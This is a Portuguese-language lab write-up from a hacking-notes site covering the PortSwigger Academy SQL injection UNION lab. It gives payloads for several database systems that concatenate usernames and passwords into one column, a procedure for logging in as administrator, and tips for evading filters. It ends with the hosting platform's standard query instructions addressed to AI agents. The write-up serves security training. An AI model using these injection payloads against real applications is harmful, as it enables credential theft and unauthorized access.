> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md).

# Ataque UNION para Extrair Múltiplos Valores em uma Coluna

Notas sobre Ataque UNION para Extrair Múltiplos Valores em uma Coluna para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Ataque UNION de Injeção SQL, Recuperando Vários Valores em uma Única Coluna

**Objetivo:** recuperar `nome de usuário` e `senha` concatenados em uma única coluna e depois autenticar em `administrator`.

#### (1) Pré-requisitos rápidos

* Conheça o **número de colunas** retornado pela consulta (veja `ORDER BY` / `UNION NULL` testes).
* Identifique qual(is) coluna(s) de saída são retornadas na resposta (constantes visíveis).

#### 2) Exemplos de payloads (dependendo do SGBD)

> Ajuste o número de colunas (`NULL`/constante) para corresponder à consulta vulnerável.

* **Oracle / PostgreSQL (concatenação por `||`) — requisição típica com 2 colunas:**

```sql
' UNION SELECT NULL, username||':'||password FROM users-- -
```

* **MySQL (CONCAT) - 2 colunas:**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

* **MSSQL (CONCAT ou +) - 2 colunas:**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

ou

```sql
' UNION SELECT NULL, username + ':' + password FROM users-- -
```

* **Se a consulta original tiver 3 colunas (por ex.):**

{% code overflow="wrap" %}

```sql
' UNION SELECT NULL, NULL, username||':'||password FROM users-- -    -- Oracle/Postgres
```

{% endcode %}

* **Se os tipos forem incompatíveis** (erro de UNION): force a conversão/casting:
  * PostgreSQL: `username::text`
  * MySQL: `CAST(username AS CHAR)`
  * Oracle: `TO_CHAR(username)`

#### 3) Procedimento conciso

1. Determine `N` colunas (`ORDER BY 1..N`).
2. Confirme `UNION SELECT` por `NULL`/constantes.
3. Injete o payload de concatenação adaptado ao SGBD e ao número de colunas.
4. Encontre o `username:password` linhas na resposta.
5. Identifique a `administrador:...` entrada e use essas credenciais para fazer login na página de autenticação.

#### 4) Observações práticas

* Se as senhas estiverem com hash (por exemplo, bcrypt), o uso direto para login falhará; então você precisará quebrar a senha, se permitido, ou confirmar que as senhas são armazenadas em texto puro (incidente de segurança grave).
* Se a aplicação exibe apenas uma coluna, a concatenação é a abordagem certa; se ela renderiza várias colunas, prefira `UNION SELECT username, password` para maior clareza.
* Se `UNION` é filtrado, tente variações de espaçamento/comentários ou funções (`CONCAT`, `CHR`/`CHAR`) para contornar filtros.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
